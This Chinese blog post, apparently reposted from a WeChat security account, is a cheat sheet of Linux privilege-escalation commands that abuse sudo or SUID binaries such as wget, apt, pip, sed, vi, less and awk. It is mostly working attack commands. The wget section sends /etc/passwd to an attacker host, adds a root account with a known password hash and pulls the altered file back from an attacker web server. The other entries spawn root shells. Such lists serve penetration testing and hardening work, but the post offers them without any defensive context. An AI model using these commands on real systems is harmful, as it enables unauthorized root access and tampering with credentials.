可以Linux提权的命令总结

admin 2023年12月18日20:08:18评论29 views字数 2532阅读8分26秒阅读模式

可以Linux提权的命令总结

前提是需要赋予命令sudo或suid权限,操作都一样,以下操作均以sudo为例。

wget

首先ssh连接目标机,然后使用wget的--post-file参数把passwd文件回传到攻击机。

ssh [email protected]    # ssh连接目标机,IP为目标机

sudo wget --post-file=/etc/passwd 192.168.x.x    # 把passwd文件传到攻击机,IP为攻击机

可以Linux提权的命令总结

攻击机nc监听接收,有了连接信息就说明接收成功了,ctrl+c断掉就可以了。

可以Linux提权的命令总结

收到后修改其内容,最后添加一条记录:

bbb:$1$bbb$8wBZrBPKDIsEbUTkF8m2N/:0:0:root:/root:/bin/bash

用户名是bbb,密码是bbb,权限是root,密码用openssl生成,passwd指密码工具,1代表md5加密,salt是盐,随意指定,最后是要设置的密码bbb

openssl passwd -1 -salt bbb bbb

可以Linux提权的命令总结

然后攻击机起一个web服务。

python -m http.server

受害机通过O参数进行保存。

cd /etc
sudo wget -O passwd http://192.168.x.x/passwd

可以Linux提权的命令总结

最后su切换到bbb账户即可。

可以Linux提权的命令总结

find

sudo find /home -exec /bin/bash ;

find的exec参数,用来执行后面的命令。

可以Linux提权的命令总结

apt

方法1:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/bash

o参数代表设置apt的配置项,APT::Update::Pre-Invoke::=意思是apt update运行前环境变量的配置,要更新前执行的命令。

可以Linux提权的命令总结

方法2:

sudo apt changelog ssh

!/bin/sh

apt可以查看应用的变更和更新日志,changelog后面跟应用名称,例如上面以ssh,默认会以当前系统的编辑应用打开日志,这种应用都支持内联命令行,esc,然后底部输入!/bin/sh可打开一个sh命令行。

可以Linux提权的命令总结

可以Linux提权的命令总结

方法3:

cd /tmp

echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > test

sudo apt install -c ./test sl

通过配置文件调用,c参数用来指定配置文件,上述命令为例,安装前调用sh程序,调用后返回false,代表安装失败。以sl程序为例,这个程序要存在,且系统上没有安装,这样才能触发到sh。

可以Linux提权的命令总结

zip

zip test.zip test.txt -T --unzip-command="sh -c /bin/bash"

-T参数会默认执行unzip -tqq命令来测试压缩文件的完整性,可以通过unzip-command参数来自定义,上述自定义为sh -c /bin/bash,完整性检查时就不再执行unzip -tqq而是执行/bin/bash。

time

time后可以跟一个sh或bash命令,会返回一个root权限的交互式shell。不管是内置time还是/usr/bin/time都可以。

可以Linux提权的命令总结

taskset

taskset命令可以让进程运行在指定的CPU上,通过p参数的pid来指定进程运行在哪个cpu核心,如果进程没有运行,则不需要指定pid。

sudo taskset -c 0 /bin/sh

可以Linux提权的命令总结

如果返回的shell不是root的话,可以尝试在sh后面加个p参数,这个p是sh的参数,代表权限向上继承。

sudo taskset -c 0 /bin/sh -p

pip

cd /tmp

mkdir setup

cd setup

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > setup.py

sudo pip install -e .

写一个python文件调用sh,echo这行代码是创建一个新的交互式shell连接到当前终端。os.execl是一个python函数,用于执行指定的命令。sh -c是为了告诉/bin/sh解释器以交互式的方式执行后面的命令。-c后面是要执行的命令。sh<(tty)2>$(tty) 将/bin/sh的标准输入、标准输出和标准错误都重定向到当前终端。e是安装的项目路径,“.”是当前目录。

sed

sudo sed -n '1e exec sh 1>&0' /etc/passwd

n是静默模式,单引号里是要执行的内容,1是第一行内容,e是脚本,1>&0是把标准输出重定向为标准输入。

可以Linux提权的命令总结

ed

sudo ed,然后输入!/bin/sh即可。

可以Linux提权的命令总结

tmux

sudo tmux

可以Linux提权的命令总结

scp

scp的S参数指定加密脚本,这里自己实现sh脚本,利用scp的sudo执行。

echo 'sh 0<&2 1>&2' > ./test.sh

sudo scp -S ./test.sh x y:

perl

sudo perl -e 'exec "/bin/bash";'

可以Linux提权的命令总结

python

sudo python -c 'import pty;pty.spawn("/bin/bash")'

可以Linux提权的命令总结

less

sudo less /etc/hosts

!bash

输入sudo less /etc/hosts命令浏览文件内容时,底部输入!bash后回车,会获得一个root权限的shell。

可以Linux提权的命令总结

可以Linux提权的命令总结

awk

通过调用linux的system函数来打开bash。

sudo awk 'BEGIN {system("/bin/bash")}'

可以Linux提权的命令总结

man

通过sudo man man命令来打开man的使用手册,同时会进入编辑行,输入!bash回车,可获取root权限。

可以Linux提权的命令总结

可以Linux提权的命令总结

vi

sudo vi会进入vi默认页,输入:!bash回车,可进入root命令行。

可以Linux提权的命令总结

可以Linux提权的命令总结

env

通过env环境变量来获取root权限。

sudo env /bin/bash

可以Linux提权的命令总结

ftp

通过ftp来进入bash获取root权限。

sudo ftp

!/bin/bash

可以Linux提权的命令总结

总结

愿大家健康开心。


原文始发于微信公众号(AlertSec):可以Linux提权的命令总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日20:08:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   可以Linux提权的命令总结https://cn-sec.com/archives/2314227.html

发表评论

匿名网友 填写信息